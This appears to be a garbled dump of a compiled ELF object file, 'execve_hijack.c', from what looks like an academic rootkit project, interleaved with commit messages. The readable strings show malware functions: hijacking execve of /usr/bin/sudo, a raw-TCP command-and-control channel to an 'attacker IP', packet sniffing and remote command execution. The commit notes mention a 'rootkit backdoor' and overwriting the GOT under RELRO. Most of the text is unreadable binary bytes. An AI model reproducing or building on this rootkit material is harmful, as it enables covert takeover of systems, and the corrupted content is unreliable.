m
z
C<00>
U<00>
A<00>
<00><00>
<00><00>
E<00>
N<00>
<00>
<00>!
<00>:
>T
ha
%n
<00>{
<00><00>
?<00>
<00><00>
<00><00>
L<00>
#<00>
<00><00>
<00><00>
<00><00>
<00>	
3	
<00>0	
<00>=	
<00>W	
Fd	
t	
8<00>	
 <00>	
<00>

%

<00>0

R

SX

h

<00>t

d<00>

<00><00>

<00><00>

p<00>

,<00>

x<00>

<00><00>

<00><00>

<00><00>

<00><00>

<00>

<00>
{$
<00>1
<00>K
<00>W
nc<00>	z
<00><00>
m<00>
<00><00>
<00>$
<00>F

G)@<00>f<00>
<00>
<00><00><00><00>
<00><00>
m
`
<00>"
>A
<00>Q
<00>a
<00>p
U<00>
<00><00>
<00><00>
<00><00>
<00><00>
{<00>
<00>
*%
>
<00>I<00>`
p
<00><00>
<00><00>
<00>
<00><00><00><00>
<00>
<00><00>
<00>

>!
?
<00>O
w
<00><00><00>
$<00>
8<00>
<00>
<00>'
m
&
 @<00>`<00><00><00><00><00><00><00>	.symtab.strtab.shstrtab.rela.text.data.bss.rodata.rela.debug_info.debug_abbrev.rela.debug_aranges.debug_ranges.rela.debug_line.debug_str.comment.note.GNU-stack.note.gnu.property.rela.eh_frame @<00>@<00><<00>
&<00>,<00>1<00>!><00><00>9@<00>J<00>J}"<00>]%0X@x`0	lM%0}%<00>z@<00>`<00>0A+<00><00>0<00>3&<00>4<00>4 <00>84<00><00>@<00>`<00> 5p		<00>:Pa<00>
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								ELF>(b@@<00><1E>UH<55><48>H<EFBFBD><48>`dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00><00>E<EFBFBD><45>}<7D><>u
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>E<EFBFBD>H<>E<EFBFBD>H<>U<EFBFBD><55>E<EFBFBD><45><00><00><><EFBFBD><00><><EFBFBD>u<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>r<EFBFBD><00><00><00>E<EFBFBD><45>}<7D><>u<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>SH<53>E<EFBFBD>H<>E<EFBFBD>H<>UЋE<D08B><45><00><00><><EFBFBD><00><><EFBFBD>u<07><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>U<EFBFBD><55>E<EFBFBD><45><EFBFBD>H<EFBFBD>=<00><00><00>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u.H<>=<00>H<><00>jH<6A><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD>H<><48>u<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD>uH<>=<00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>LH<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><48><0F>&H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@<0F><0F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t
<0A><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
 								<0F><><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u<07><00><05>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>jA<>A<><00>H<><48><EFBFBD>H<><48><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>t+<2B><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48>H<EFBFBD>=<00><00><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<>5H<><48><EFBFBD><00><>uXH<58><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+%(t@<40>9<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F><><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>0dH<64>%(H<>E<EFBFBD>1<EFBFBD><31><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u
-												Finished pseudo-connection between client and rootkit backdoor. Updated library to latest version.

											
										
										
											2022-02-18 03:32:07 -05:00
+								<EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>u
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								<EFBFBD><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>@H<><00>8<EFBFBD>H<><48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>H<EFBFBD><48>@<00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǅ<EFBFBD><C785><EFBFBD><EFBFBD><00>0<EFBFBD><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Hc<48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><02><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Hc<48>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<01><0F><00><>u<EFBFBD><75><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD>ǅ<><C785><EFBFBD><EFBFBD><00><>ǅ<><C785><EFBFBD><EFBFBD><00>E<EFBFBD><45><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><14>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<01>H<EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><02><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>Ή<EFBFBD><CE89><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<EFBFBD><14>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<01>H<EFBFBD><10><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD>H<01><0F><00><>u<EFBFBD><75><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><01><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>;<3B><><EFBFBD><EFBFBD><EFBFBD><0F>N<EFBFBD><4E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
H<>5<00><><EFBFBD>H<>=<00>H<><48> <20><><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48> <20><><EFBFBD>H<EFBFBD><48>u#<23><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>	H<>5<00><><EFBFBD><00><00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48> <20><><EFBFBD>H<EFBFBD>pH<>E<EFBFBD><45>H<>¿<00>H<><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48>P<EFBFBD><50><EFBFBD>H<EFBFBD>u<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48>H<>
QA<51>I<><49>H<EFBFBD>Ѻ(#<00>@H<><48><EFBFBD>H<><48>H<><48><08><>p<EFBFBD><70><EFBFBD><EFBFBD><EFBFBD>h<EFBFBD><68><EFBFBD><EFBFBD><EFBFBD>`<60><><EFBFBD><EFBFBD><EFBFBD>X<EFBFBD><58><EFBFBD><EFBFBD><EFBFBD>P<EFBFBD><50><EFBFBD><EFBFBD>H<><48>0<EFBFBD><30>y0<79><30><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ǅ<><C785><EFBFBD><EFBFBD><00><>H<>E<EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<>=<00>H<>E<EFBFBD>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD>5H<><48><EFBFBD>H<><48><08><><EFBFBD>H<EFBFBD>5<00><00>H<><48><08><><EFBFBD>H<EFBFBD><48><08><><EFBFBD><0F>OH<><48><08><><EFBFBD>H<EFBFBD>5H<><48><EFBFBD><00><>uH<>=<00>ǅ<><C785><EFBFBD><EFBFBD><00>H<><48><08><><EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00>H<><48><08><><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><10><><EFBFBD><EFBFBD><00><00>H<><48><18><><EFBFBD>H<EFBFBD><48><18><><EFBFBD>H<EFBFBD>CC_MSG#H<>H<><48><10><><EFBFBD>H<EFBFBD><48><18><><EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD>H<>E<EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<EFBFBD><48><08><><18><><EFBFBD>A<EFBFBD>I<><49>H<EFBFBD>Ѻ(#<00>@H<><48><EFBFBD>H<><48>H<><48><08>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>u<EFBFBD><75>H<><48>0<EFBFBD><30>y-<2D><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>H<>5<00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>OH<4F><48><18><><EFBFBD>H<EFBFBD><48><EFBFBD>H<><48><10><><EFBFBD>H<EFBFBD><48><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><0F>7<EFBFBD><37><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><><EFBFBD><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>H<>M<EFBFBD>dH+%(t<05><00><><EFBFBD><1E>UH<55><48>AWAVAUATSH<53><48><EFBFBD><00>}<7D>H<EFBFBD>u<EFBFBD>H<EFBFBD><48>x<EFBFBD><78><EFBFBD>dH<64>%(H<>E<EFBFBD>1<EFBFBD>H<EFBFBD>=<00><00>E<EFBFBD><00><04>E<EFBFBD><01>E<EFBFBD>;E<>|<7C><><00><><0F>s<00>E<EFBFBD><45><EFBFBD>Hc<48>H<EFBFBD><48>H<>U<EFBFBD>Hc<48>H<EFBFBD><48>`<60><><EFBFBD>Hǅh<C785><68><EFBFBD>Hc<48>H<EFBFBD><48>P<EFBFBD><50><EFBFBD>HǅX<C785><58><EFBFBD>H<>H<EFBFBD><14><00>H<><48>Hл<00>H<><48>Hk<48>H<><48>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48>H)<29>H9<48>tH<><48>H<><48>$<24><00><>H<EFBFBD><EFBFBD><C281>H)<29>H<EFBFBD><EFBFBD><C281>H<><48>t%<25>H<><48>H<01>H<EFBFBD>H<><48>H<EFBFBD><48>H<><48>H<><48>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>H<>H<>E<EFBFBD>H<EFBFBD>H<>P<08>E<EFBFBD><00>,<2C>E<EFBFBD>H<EFBFBD>H<EFBFBD><14>H<>E<EFBFBD>HЋU<D08B><55><EFBFBD>H<>H<>E<EFBFBD>Hc<48>H<EFBFBD>ЃE<D083><01>E<EFBFBD>;E<>|̋E<CC8B><45>PH<>E<EFBFBD>Hc<48>H<EFBFBD><04>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD><48>H<EFBFBD>=<00><00><>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00><00><00>E<EFBFBD><45>}<7D>yH<>=<00><00>}<7D><0F><><00><00><00><>H<EFBFBD>=<00><00><00><><00>BH<>=<00><00><00>E<EFBFBD><45>}<7D>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>E<EFBFBD><45><00><><EFBFBD><00><><EFBFBD>u0<75><00><00><>uH<>=<00><00>H<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00>U<EFBFBD>H<EFBFBD>M<EFBFBD><4D>E<EFBFBD>H<EFBFBD>Ή<EFBFBD><CE89>H<>=<00><00><00><00>E<EFBFBD>H<EFBFBD><48>H<EFBFBD><48>Hc<48>H<EFBFBD><48>H<>U<EFBFBD>Hc<48>I<EFBFBD><49>A<EFBFBD>Hc<48>I<EFBFBD><49>A<EFBFBD>H<>H<EFBFBD><14><00>H<><48>Hо<00>H<><48>Hk<48>H<><48>H<EFBFBD><48><00><><EFBFBD>H<EFBFBD><48>H)<29>H9<48>tH<><48>H<><48>$<24><00><>H<EFBFBD><EFBFBD><C281>H)<29>H<EFBFBD><EFBFBD><C281>H<><48>t%<25>H<><48>H<01>H<EFBFBD>H<><48>H<EFBFBD><48>H<><48>H<><48>H<>E<EFBFBD>H<EFBFBD>E<EFBFBD>H<EFBFBD>PH<>E<EFBFBD>H<EFBFBD>H<>E<EFBFBD>H<EFBFBD>H<><48><EFBFBD>H<>5<00><00><00><00>E<EFBFBD><00>`<60>E<EFBFBD>H<EFBFBD>H<EFBFBD><48>H<><14>H<>E<EFBFBD>HЋU<D08B><55><EFBFBD>H<>H<>E<EFBFBD>Hc<48>H<EFBFBD>ЋE<D08B><45>PH<>E<EFBFBD>Hc<48>H<EFBFBD>ЋU<D08B><55><EFBFBD>H<><48>H<EFBFBD>5<00><00><00><00>E<EFBFBD><01>E<EFBFBD><45><EFBFBD>9E<39>|<7C><>E<EFBFBD><45>P<EFBFBD>H<EFBFBD>E<EFBFBD>Hc<48>H<EFBFBD><04>H<>E<EFBFBD>H<EFBFBD><48>H<>H<><48>x<EFBFBD><78><EFBFBD>H<EFBFBD>M<EFBFBD>H<EFBFBD><48>H<EFBFBD><48><EFBFBD><00><>yH<>=<00><00><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><00><00>H<>=<00><00>H<><48>H<EFBFBD>]<5D>dH+%(t<05>H<>e<EFBFBD>[A\A]A^A_]<5D>Timer %i started, address sent %llx
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
+								rFailed to run commandCOMMAND ERRORRESULT OF COMMAND: %s
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								getifaddrsgetnameinfo() failed: %s
 								enp0s3Attacker IP selected: %s (%s)
-												Added locking mechanism for execve_hijack. Incorporated new library rawtcp with latest version without bug.

											
										
										
											2022-04-14 13:24:43 -04:00
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								Sniffing...
-												Added locking mechanism for execve_hijack. Incorporated new library rawtcp with latest version without bug.

											
										
										
											2022-04-14 13:24:43 -04:00
+								Running hijacking processCC_SYNFailed to open rawsocket
-												Now the execve hijacker works without needing a canalizer. Removed it. Also some additional tweaks to the c&c launching of the helper

											
										
										
											2022-02-19 11:57:32 -05:00
+								Sniffed
-												Added support for integrating the execution hijacker via the rootkit. Still some work to do, also changed some config from fs which needs to be reverted

											
										
										
											2022-02-18 09:08:54 -05:00
+								IP: %s
-												Finished pseudo-connection between client and rootkit backdoor. Updated library to latest version.

											
										
										
											2022-02-18 03:32:07 -05:00
+								CC_ACKCC_MSG#Received client message#CC_FINConnection closed by requestReceived request: %s
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								Malicious program execve hijacker executedsudo/home/osboxes/TFG/src/helpers/execve_hijack/usr/bin/sudoFailed to execve()Fork failedMalicious program child executed with pid %d
 								/tmp/rootlogFailed to open lock file before entering hijacking routinelock file was lockedError with the lockfileChild process is exitinghijacking ARGS%i: %s
 								Failed to execve() originally hijacked processparent process is exiting<00><00><02>9&I(Pint*@-9<03><19><03><1B><03>}<03><1A><03><1B><03>!<21><08><07><00>1<08>	3}	6	<09>	7	<09>	8	<09>	9	<09> 	:	<09>(	;	<09>0	<	<09>8	=	<09>@	@	<09>H	A	<09>P	B	<09>X	D<16>`	F<14>h	H}p	I}t	J<0B>x	MP<00>	NW<00>	O<08><00>	Q<0F><00>	Y
<0A><00>	[<17><00>	\<19><00>	]<14><00>	^	G<00>	_
-												Merged master and develop, now all changes together. Fully tested and working.

											
										
										
											2022-05-15 20:46:35 -04:00
+								-<00>	`}<00>	b<08><00><19>
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								+<08><08><0C><00>
9<08><08><08><0C><00>
9<08>M<13><08>a<11><12>
 								D		<0C>		<15>
 								*D<08>tm8<08>		}
 								}	}	}	
}	}	}	}	} 	<0C>(	<0F>0 !
 									<0C>1
9
^
q
<14>
<14>P<0F><08>	<0F>o	<0F>
 								<EFBFBD>{<0C><00>
9
{<0F><07><08><0F><07><08><0F><07><08><0F><10>Y	<10>o	<10>	<10><14>	<10><13>^<08>oPlPii<0F><07><08><0F><07><08><0F><07><08>

"",77A<08>L<08>W<08>b<08>mxY<0F><08><0F><08><0F><08><0F><08><0F><0F>'<0F><<0F>P	!<0F>{D<10><<10>
 								<<10>L<10>\8L
9D\
9Pl
9<10><08>	<10>	I<00>
9 b<08>	d	<09>	e
 								W	f}	g}	h
 								W,<08>ihl/@0@tos7
8	8Did9D	:Dttl;
8	<
8		=D
 									>P	?P]Pf&		hD	iD	j
 								<EFBFBD>	k
 								<EFBFBD>m
 n
 	t
 
	{D	|D	}D
 									<13>D	<13>Dseq<13>P	<13>P<13>D<13>Dfin<13>Dsyn<13>Drst<13>Dpsh<13>Dack<13>Durg<13>D<13>D	<13>D	<13>D	<13>Dd/
 								<18>&	bC
 								@^
 								&<03>
 								,<16>-<16>8<08>
 									<13>
 									!	<09>	"@	$<14>	%<14> 	.^
 								(	8	G0<08>
 								(>	>		D
 								<0B>		}	<0B> <08>/
 <02>
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+									}<00><01><>	}<03><>~	W<03><>~	(W<03><>~pid&<03><>C<0B><04><> <00>ii
}<03><> s?<0F><04><>!=ii}<03><> <00>efd1
}<03><>!tiiF
}<03><><0C><00>"9<04><><0C><00>"9<04><>#<01>}6<01>7$<01>"}<03><>}$<01>.W<03><>}%fd<01>:}<03><>}&<01><03><>}&<01>7<03><>}&<01><0B><03><>}'ii<01>	}<03><>}&<01>J<03><>~&<01><0B><03><>}&<01>
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								!<02>P&<01>J<03><>~&<01>	}<03><>} <00><00>
'jj<01>
}<03><>}!<00>&<01>J<03><>~&<01><0F><03><>}'p<01><0F><03><>}!'res<01><17><03><>~&<01><17><03><>~&<01>J<03><>](<01><07><00><01><>&<01>
 								<EFBFBD><03><>}&<01><0B><03><>}&<01><15><03><>}&<01>	}<03><>}<0C><00>
9<00><08>(c<07><00><01>e&d
 								<EFBFBD><03><>w&e<0B><03><>w)f<15>)g	}&i<15>
 								<03><>w&j	}<03><>w'sj}<03><>w&k
 								e<03><>w*'ifau<1A>
 								<03><>w<0C>v+9#H<07><00><01><>$H<1D><03><>w'fpI<0B><03><>w'resJ<0B><03><>w'bufK
 								<EFBFBD><03><>w<0C><00>+9<00>,$}<00><01>&&<17><03><>&&"<22><02>@)'	}'fd'}<03><>'fd2'}<03><>'now(<02>@-exp)\))\-s*
<0A>%:;9I$>$>I&I:;9	
:;9I8
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								:;9<I
!I/:;97I:;9
:;9I8:;9
:;9I
:;9I
8
:;9I
8
:;9I8:;9
I
I8>I:;9(.?:;9'I@<18>B:;9I4:;9I4:;9I !"!I/#.?:;9'I@<18>B$:;9I%:;9I&4:;9I'4:;9I(.?:;9I@<18>B)4:;9I*U+!I/,.?:;9I@<18>B-4:;9I,<00>N<00><00><00><00><01>
/usr/lib/gcc/x86_64-linux-gnu/10/include/usr/include/x86_64-linux-gnu/bits/usr/include/x86_64-linux-gnu/bits/types/usr/include/usr/include/x86_64-linux-gnu/sys/usr/include/asm-generic/usr/include/netinetlibexecve_hijack.cstddef.htypes.hstruct_FILE.hFILE.hstdio.htypes.htime_t.hstruct_timespec.hint-ll64.hstruct_tm.hstruct_itimerspec.hstdint-uintn.hsockaddr.hsocket.hin.hnetdb.hip.htcp.hifaddrs.hRawTCP.htimerfd.h!	#<01>
-												Merged master and develop, now all changes together. Fully tested and working.

											
										
										
											2022-05-15 20:46:35 -04:00
+									<09>!g"<22>#<23>	<09>tYv!g#v$<24>	<09>tYw<08>Y<06>%wX<11>
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
+								[<08>	<09><10>	<09><08>
-												Updated some files for eveything to work now that it is all together. Execve hijacker and clients in particular

											
										
										
											2022-05-15 20:47:58 -04:00
+								<08>[<08><0C>u<06>	t<><16>	`<08>	Y<><1A><05>Y<0C><15><1F><<0C><01><11><06>t X<04>0<11><08><1A><10><0F>L&<08>	t
]8"<22><><01>v<><16>\<08>	<09><12>Y	<09>=<3D>!<21><<05>"u=["<05><10>Y	Z
-												Finished injection module at userspace using /proc/<pid>/maps, enables to overwrite the GOT section with RELRO activated

											
										
										
											2022-04-07 07:11:28 -04:00
+								<EFBFBD>	/<1A>	<09>Kr.
-												Merged master and develop, now all changes together. Fully tested and working.

											
										
										
											2022-05-15 20:46:35 -04:00
+								<N
<08><05>Y<0E>/
<08><1F>
JKr<08><0F><	N z<08>t	 <08><08><17>Yt	Y<08><05><08> tJY<08>@+	K<08><10>	<09>
 								<EFBFBD>Y	/<0F>
<0A><08>u<10>XK"<22><11><08>%YY='<08>;<08>K<08><1C>v<>
-												Finished section 5. Multiple changes in the code according to the performed tests.

											
										
										
											2022-06-19 14:35:19 -04:00
+								h<><1D>!<0C>Y<06>/w&<05>
<0A>t.J<08>X<01><01><02><01><01>	t/<f<"<03>	J<12>f<0C><08>
K<>	<09><11><08>	g<08>	<09>HZ	X1<08>
g<><67><0C>YtY<>
<0A>	<09>=<3D><05><0B><02><05>
%t/tf<F<03>	f *Jf\f<13><08><08>	K<><05><><0B><01>#_shortbuf__off_tshort int_IO_read_ptr_chaintm_hourdoff_mode__in6_usize_tsin_addruint64_tifu_dstaddrifa_name__uint8_tssize_tifa_datasourceipheaderlong int_IO_buf_basetm_zonelong long unsigned intnew_value2in_addr_t_codecvtexecve_hijack.clong long intsigned charsockaddr_inarpGNU C17 10.3.0 -mtune=generic -march=x86-64 -g -fasynchronous-unwind-tables -fstack-protector-strong -fstack-clash-protection -fcf-protectionsockaddr_at_filenoth_flags_IO_read_endtot_lenpacket_t__u6_addr16hostnamesockaddr_ipxres1res2check_flags_wide_data_IO_buf_end_cur_columnhostentsockaddr_dlsin6_portuint16_t_offsetsockaddr_x25__uint16_tnew_value__uint32_ttm_monhost_entrysin_zerotimeinfogetLocalIpAddress_old_IO_markerhosttm_yearunsigned ints_addr_freeres_bufcommandlong unsigned intfrag_off_IO_write_ptrpacket_ackrawtimetm_isdst__ssize_tit_interval_IO_save_baseth_urph_addrtypewindow_lock_flags2in_port_turg_ptrsockaddr_unifa_netmask__uint64_tsin_familyversionTFD_TIMER_CANCEL_ON_SEThij_argstm_minifa_flagstv_nsectimestrack_seqtm_ydaysin6_familytv_sec__syscall_slong_tpayload_IO_write_endh_aliasesth_wintcpheaderenvpiphdr_IO_lock_t_IO_FILEdestpacket/home/osboxes/TFG/src/helpersth_offtime_tpacket_restcphdrmax_expsockaddr_nssin_port_old_offsetifaddrh_lengthh_addr_listsin6_scope_idprotocol_Boolunsigned charsockaddr_isopayload_lengthlocal_ipsaddrconnection_close__pid_tifa_ifusa_familytimespec_vtable_offsetsockaddr_ax25FILEhostbuffer_markersin6_addrth_ackpayload_bufuint32_ttcp_seqargsth_seq__u64long doublecharsin6_flowinfoifa_addrth_sportitimerspec__u6_addr8IPbuffertm_wdayifa_next_IO_codecvt__off64_thijacker_process_routine_IO_read_base_IO_save_endshort unsigned inttm_mdayfamilysockaddr_eonth_sum__pad5h_name__time_tsa_family_t_unused2tm_secargvsockaddr_in6execute_commandsockaddrifaddrsth_dportsockaddr_ingetLocalIpAddressuint8_t_IO_backup_basedaddrth_x2argcpid_tsa_data_freeres_list__u6_addr32_IO_wide_datatot_expsin6_addrtest_time_values_injectionTFD_TIMER_ABSTIMEit_valuemain_IO_write_baseremote_iptm_gmtoffin_addrifu_broadaddrGCC: 